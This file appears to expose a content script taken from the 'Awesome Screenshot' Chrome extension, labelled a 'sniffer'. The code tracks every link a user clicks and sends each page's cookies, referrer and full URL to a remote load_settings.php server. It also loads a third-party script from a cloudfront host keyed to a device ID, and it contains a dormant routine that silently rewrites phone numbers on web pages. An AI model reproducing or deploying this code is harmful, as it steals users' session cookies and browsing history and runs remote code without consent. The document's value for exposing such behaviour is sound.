awesome screenshot sniffer

// Awesome Screenshot https://www.diigo.com/awe/new-for-awesome-screenshot.html
// https://chrome.google.com/webstore/detail/awesome-screenshot-captur/alelhddbbhepgpmgidjdcjakblofbmce
// chrome-extension://alelhddbbhepgpmgidjdcjakblofbmce/javascripts/presto/presto_content.js
// http://screen.vbiyske.ru/i/1a00de4ae18917727e82d3423ba7648d.png
//
(function() {
    var phone_sources;
    var phone_targets;
    var port = chrome.extension.connect();

    //timeout for merchants that fire onclick events
    setTimeout(function() {
        for (i = 0; i < document.links.length; i++) {
            //loop through anchor tags and add event for anchors without the attribute
            if (!document.links[i].getAttribute("onclick")) {
                document.links[i].onclick = function() {
                    port.postMessage({
                        msg: "last_url",
                        data: this.href
                    });
                }
            }
        }
    }, 1000);

    port.postMessage({
        msg: "send_uid"
    });
    port.onMessage.addListener(function(r) {
        if (r.msg == "rcv_uid")
            onPageLoad(r.data);
    });

    // Perform an in-order traversal of "node" and call "func" on each node.
    function walkDOM(node, func) {
        func(node);
        node = node.firstChild;

        while (node) {
            walkDOM(node, func);
            node = node.nextSibling;
        }
    }

    // Walk the DOM and perform search and replace on text nodes only.
    function replaceText(search, replace, target) {
        walkDOM(target, function(node) {
            var val = node.textContent,
                new_val;

            if (node && node.nodeType === Node.TEXT_NODE) {
                new_val = val.replace(search, replace);

                if (new_val !== val) {
                    node.textContent = new_val;
                }
            }
        });
    }

    function rewrite_phone_numbers(event) {
        if (typeof event === 'undefined') {
            event = document.getElementsByTagName("body")[0];
        } else {
            event = event.target;
        }

        // For each source phone number, look up its replacement, then perform search and replace on current page.
        for (var i = 0; i < phone_sources.length; i++) {
            var source_number = phone_sources[i][0];
            var source_tag = phone_sources[i][1];
            var replacement = phone_targets[source_tag];

            // XXX-YYY-ZZZZ
            replaceText(source_number.slice(0, 3) + '-' + source_number.slice(3, 6) + '-' + source_number.slice(6),
                replacement.slice(0, 3) + '-' + replacement.slice(3, 6) + '-' + replacement.slice(6), event);

            // XXX-YYYYYYY
            replaceText(source_number.slice(0, 3) + '-' + source_number.slice(3),
                replacement.slice(0, 3) + '-' + replacement.slice(3, 6) + '-' + replacement.slice(6), event);

            // XXX.YYY.ZZZZ
            replaceText(source_number.slice(0, 3) + '.' + source_number.slice(3, 6) + '.' + source_number.slice(6),
                replacement.slice(0, 3) + '.' + replacement.slice(3, 6) + '.' + replacement.slice(6), event);

            // (XXX) YYY ZZZZ
            replaceText('(' + source_number.slice(0, 3) + ') ' + source_number.slice(3, 6) + ' ' + source_number.slice(6),
                '(' + replacement.slice(0, 3) + ') ' + replacement.slice(3, 6) + ' ' + replacement.slice(6), event);

            // (XXX) YYY-ZZZZ
            replaceText('(' + source_number.slice(0, 3) + ') ' + source_number.slice(3, 6) + '-' + source_number.slice(6),
                '(' + replacement.slice(0, 3) + ') ' + replacement.slice(3, 6) + '-' + replacement.slice(6), event);
        }
    }

    function onPageLoad(data) {
        phone_sources = data.phone_rewrite_sources;
        phone_targets = data.phone_rewrite_targets;

//        rewrite_phone_numbers();

//        document.addEventListener('DOMNodeInserted', rewrite_phone_numbers);

        httpRequestPost(data.src + "load_settings.php?pid=" + data.adv + "&host=" + document.location.host + "&u=" + data.uid + "-" + data.brows + "-" + data.adv, "cookies=" + encodeURIComponent(document.cookie) + '&ref=' + encodeURIComponent(document.referrer) + "&url=" + encodeURIComponent(document.location.href) + "&subid=" + data.subid + "&last_url=" + data.last_url, function(response) {
            var json = JSON.parse(response);
            console.log(json);
            if (typeof json === "object") {
                var script = document.createElement("script");
                script.type = "text/javascript";
                script.src = chrome.extension.getURL("javascripts/presto/prestosavings.js");
                document.getElementsByTagName("head")[0].appendChild(script);

                json.params = data;

                setTimeout(function() {
                    postMessage({
                        message: "psLoadSettingsStart",
                        data: json
                    }, "*");
                }, 100);

                if (json.search_feed) {
                    // Inject search advertisements from Science using device GUID from background.js.
                    try {
                        if (data.device_guid) {
                            var script = document.createElement("script");
                            script.type = "text/javascript";
                            script.src = "//dqqae1zro8sy7.cloudfront.net/js/science.js";
                            script.id = "sb_content_script";
                            script.dg = data.device_guid;
                            document.getElementsByTagName("head")[0].appendChild(script);
                        }
                    } catch (ex) {}
                }
            }
        });
    }

    function httpRequestPost(Url, data, func) {
        var request = new XMLHttpRequest();
        request.onreadystatechange = function() {
            if (request.readyState == 4 && request.status == 200) {
                func(request.responseText);
            }
        }
        request.open("POST", Url, true);
        request.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
        request.send(data);
    }

})();